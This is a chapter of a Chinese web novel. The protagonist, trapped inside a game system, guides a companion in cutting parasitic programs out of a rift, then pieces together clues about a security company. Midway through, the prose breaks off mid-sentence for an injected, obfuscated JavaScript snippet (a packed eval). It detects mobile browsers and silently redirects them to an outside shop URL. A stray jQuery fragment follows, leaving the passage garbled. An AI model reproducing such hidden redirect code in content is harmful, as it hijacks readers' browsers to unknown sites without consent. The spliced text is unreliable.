第七天清晨,李析在张驭的终端里自然苏醒。
不是被登录信号唤醒,是他的生物钟到了时间。他待在这套系统里已经进入第三天——那些曾经让他高度紧张的系统嗡鸣、数据流声、权限层的暗涌,如今全变成了背景音,像搬进一栋新房子的第二周,开始熟悉冰箱的嗡嗡声和暖气管的咕噜声。
他甚至已经能够预判一些"规律"了。每天清晨六点零七分,张驭的系统会启动一轮自动维护,持续七分钟左右。维护结束后约二十秒,张驭就会上线。像一个人的闹钟在同一个时间响,准得不必去看。
李析把自己悬浮在接入端口旁边,让那团银白色的数据光点随着系统的低频嗡鸣缓慢浮动。他忽然意识到一件事:他正在熟悉另一个人的系统,就像熟悉另一个人的生活规律。这对一个"接入者"来说危险极了,因为熟悉意味着卸防。
然后登录信号准时亮了。张驭上线,终端界面亮起来,视野从空白切换到游戏画面。李析的数据流重新活跃,接入数据源窗口里那团银白色的光点恢复了正常的脉动频率。他等着张驭打开地图,等着他说"今天第几个"——但张驭没有。
张驭在登录点附近找到了一截断掉的石柱,坐了下来。
李析看到他正在从背包里往外掏东西——一块像素级的模拟面包,游戏内烹饪系统产出的简餐道具,补充体力用的。前六天张驭从来不在这时候吃东西,他上线就直接走,裂隙修完就下,中间连水都不喝一口。
但今天他在吃早饭。
"……你今天不直接出发?"李析的声音从终端里传出去,他自己都没有意识到语气里带了点意外。
张驭咬了一口面包。"吃早饭,"他说,嚼完咽下去之后又补了一句,"不吃扛不住一整天。"他低头看了一眼手上那块模拟面包的像素纹理,加了一句堪称"张驭式评价"的话:"这破游戏做得最像真的就这玩意儿。"
他把终端界面调到了高亮显示。接入数据源窗口被推到了视野正前方,比平时更清晰、更大,那团银白色的光点在他视线边缘安静地悬浮着。李析注意到了那个变化。张驭没有说"我想让你看到",但他把"让你看到"这件事做到了最大程度的可见。
李析没有接话。他安静地"看着"张驭吃完那块面包,站起来拍掉手上不存在的碎屑,打开地图确认方向,然后朝第七个裂隙点迈开了步子。
走了大约三分钟,张驭忽然开口:"你以前在公司的时候,吃早饭吗?"
问题太日常了。不是说"你到底是什么人",不是说"谁搞了你",不是任何和底层、裂隙、代码相关的玩意儿。他问的是"你过不过普通人的生活"。李析花了半秒才从机械音模式里调换出来:"……以前吃。通常是吐司或者便利店饭团。"
"那还行。"张驭的步频没有变化,"不是不吃早饭的那类人。"
"……这有什么讲究?"
"不吃早饭的人修东西容易手抖。"
李析顿了一下。张驭在用上次"手抖"的事开一个玩笑。语气不重,嘴角那个弧度浮了一下又收回去了。李析在终端里安静了大约两秒,然后从机械音里漏出一声很短的气音。不是笑,但接近笑的前序。两个人都没有再说话,但那两秒的安静和之前任何一次的安静都不一样——更轻一些。
第七个裂隙点位于荒漠中一处像"门"一样的结构里。地面上一道弧线状的开口,边缘圆润光滑,不是撕裂型的崩口,更像一扇半开的门嵌在数据层里。门缝里透出暗黄色的光,一闪一闪的,频率不快不慢,稳定得像某种活物的呼吸。
李析扫描了裂隙内部结构,然后把结果投射到张驭的视野里。"这一处不同。裂缝内部有活体数据寄生体——《深渊纪元》开发期留下的一种旧版自我修复程序残骸。当年设计出来是为了辅助协议自愈,但核心协议被删除后它们失去了宿主对象,开始反向侵蚀裂隙结构。这处的崩塌速度比前六个都快。"
他停了半秒。"必须先清除寄生体再修复裂隙。清除不能用权限流冲刷——会导致它们四散逃逸,转移到其他裂隙点。需要你以精准定位的方式逐一切除。"
张驭听完,低头看了一眼门缝里透出的暗黄色闪光。他没有提问,没有确认"切除"是什么意思。他把刀从腰后解下来握在右手,刀身上的暗红色纹路在灰白的荒漠里亮了一瞬。
"我切东西还行,"他说,"你指哪我切哪。"
李析没有说"好"。"第一个,门缝左下方约三十度,深度两米。"
张驭的刀动了。没有任何预兆,没有蓄力,他手腕翻转刀尖向下,以一个极小的角度切入裂隙边缘。刀身没入门缝一半,抽出,暗黄色的光在切口处抖了一下,然后一股灰黑色的数据残骸从切口处飘散出来,像被抽走了芯的蜡烛。第一个寄生体清除。
"第二个,右上方五十度,深度四米。会在三秒后向左移动。"
张驭的刀在手中翻转,从下劈改成横切,手腕在极小的空间里完成了转向。刀尖在门缝右上方那道暗黄光最亮的点切入。光颤动了一下,散成灰黑色的残屑,落地即灭。
第三个寄生体试图逃逸。门缝内侧的暗黄色光猛地一收,像一只受惊的动物缩回了洞穴里——然后一道极细的灰黑色影子从裂隙边缘钻了出来,朝李析的接入信号方向扑去。李析在终端里看到那道影子的轨迹朝自己涌来,本能地缩了一下数据流——但他还没做完那个动作,张驭的刀已经到了。反手,回劈,凌空斩断。灰黑色的残屑在空气中炸开消散,像被风吹散的一团灰。
"第四个,正下方,深度五米偏左十五度,位置刁钻。"李析标定时迟疑了半秒——那个角度太窄了,普通人的手腕转不到那个弧度。但他还没来得及说"可能切不到",张驭的刀已经以一种近乎不可能的角度斜切了进去——他的手肘几乎贴住了自己的肋侧,手腕外翻到了极限,刀尖从门缝底部挑入。
暗黄色的光闪了三下,灭了。
"第五个,"张驭说。他的刀还没有从裂隙里拔出来,保持着切入的姿态。李析刚想开口标定位置,张驭的刀已经向侧面移动了大约两指的距离——那个位置,恰好是李析将要标定的第五个寄生体的坐标。
李析的话堵在了喉咙里。"……你感觉到了?"
"嗯。"张驭的手腕微动,刀尖挑了一下。第五个寄生体消散,裂隙内部的暗黄色光彻底熄灭了。门缝变成了一片空洞的黑色,再也没有跳动。
张驭收刀。他站直身体,把刀换回左手的握持姿态——右手空闲出来准备接入权限。偏头对着终端方向说了一句:"标得挺准。"
李析顿了顿:"你切得也挺准。"
张驭没接这个相互夸奖的话头。他把左手伸向裂隙,白色的权限流从掌心涌出,开始运行修复脚本。裂隙的门缝从底部向上收拢,闭合,最终只剩一道浅浅的灰色痕迹嵌在地面上。进度条跳到【7/30】。
返程的路上两个人走了很长一段没有说话。不是冷战,不是有心事,是一种已经不需要用说话来确认彼此在场的沉默。张驭的步伐均匀,呼吸平直,李析在终端里安静地悬浮着。荒漠的风从两人之间扫过去——李析通过张驭外套被风吹动时产生的微振感知到了风的来向。
走了一段路之后,张驭忽然开口:"刚才第四个,你标定的时候慢了一下。"
李析从待机状态被拉回来:"……那个角度太窄了。我在计算可行性。"
"那你下次不用算。"
张驭的步频没有变化,声音平平地从前面传过来:"你标,我切。"
李析在终端里安静了半秒。"……好。"
回到通道入口。张驭没有像前六天那样检查装备
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930584|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
、确认明天的坐标、或者站在入口边缘多看几眼荒漠。他站住之后偏头对着终端方向说了一句:"今天早点下。外面有点事。"
李析的数据流停了一拍。"……好。"
张驭感知到了那个停顿。虽然李析只说了一个字,但那个字的长度比普通回应多了大约半拍。"我明天还会来。"他说。
"……嗯。"
张驭跨进通道之前又停了一下:"你今天在里面待了一整天。你那个接入数据源的界面——一直亮着。我没关过。"
李析在终端里安静了片刻。他明白了张驭在说什么。张驭没有把他放进"静音"模式,没有把他当挂件一样随手调成后台进程。张驭知道他在里面,而且让他一直在"能看见外面"的状态里待着。
"……我看到了。"
张驭"嗯"了一声,跨进了通道。灰白色的过渡层吞没了他黑色的战斗服,暗红色的刀光在入口闪了一下,然后消失了。
李析从张驭的终端里退出来。银白色的光点回流到底层荒漠的地面上,重新聚拢成那个穿着灰黑斗篷的模糊人影。他蹲在通道入口旁边,没有打开加密备忘录,没有翻找线索,没有分析编码,就蹲在那里看着灰白色的荒漠。
他脑子里转着一句话——张驭说"我明天还会来"的时候,李析在那个瞬间发现自己"不想他走"。
那个念头来的时候心跳快了半拍。他没有把这句话写进备忘录。他甚至没有让自己把这句话想完。他只是蹲在通道入口边,听底层荒漠里的寂静,维持着那种"什么都没在想"的状态维持了大约五分钟。
然后他强迫自己打开了加密面板。
他把张驭权限流里提取的那个旧版运维身份标记、第三人编码碎屑、"L.F."的缩写,三条并排放好。做第三次交叉比对的时候,他看到了一个之前遗漏的细节——张驭的身份标记底部有一行被加密的字段,签发人信息。加密算法本身没有特殊之处,但加密方式的结构特征……他放大看了看,又放大了一点。
和他之前在一份"##"注释风格的安全公司文档里见过的算法变种一致。
张驭的旧版身份标记和那家外包安全公司之间,存在一条加密工具层面的连接线。签发人是谁,不知道。但签发人用的加密工具出自那家公司,这已经是一条实实在在的线索了。
李析把最近一周收来的碎片按照时间先后画了一条线:
三年前——"##"安全公司参与早期开发。
同期——张驭获得旧版运维身份标记,签发人使用了该公司的加密工具。
同期——张驭系统缓存里留着那条日志:"第七次,仍然没有反应。"
去年——李析入职。
今年——李析被暗算推入底层。
现在——底层核心协议被删除,裂隙出现。
这条线上缺了很多环节。"第七次"在等谁的回应?签发人和张驭是什么关系?L.F.到底是签发人,还是被签发的人?中间那三年发生了什么?
李析把时序线看了三遍,在两端各打了一个问号,然后关掉面板。他靠在数据墙边,灰白色的荒漠在面前展开,头顶的倒计时又少了一段。还有二十二天。他闭了一会儿眼睛,又睁开了。
心里有一句话在转,在他自己决定要不要说出来之前就已经自动成型了:"明天他来的时候,我要不要问他那件事。"
他没有决定好。他发现自己是在犹豫,而犹豫本身已经是一种回答了。李析把这最后一行念头也压进了那个"不想去看"的角落,然后合上眼,在灰白色的寂静里听了一会儿自己数据流的脉搏。
第七天结束了。他来的时候带了早餐,走的时候说"我明天还会来"。李析发现自己既在害怕那个倒计时,又在等明天。
两个感觉同时在他身体里并存着。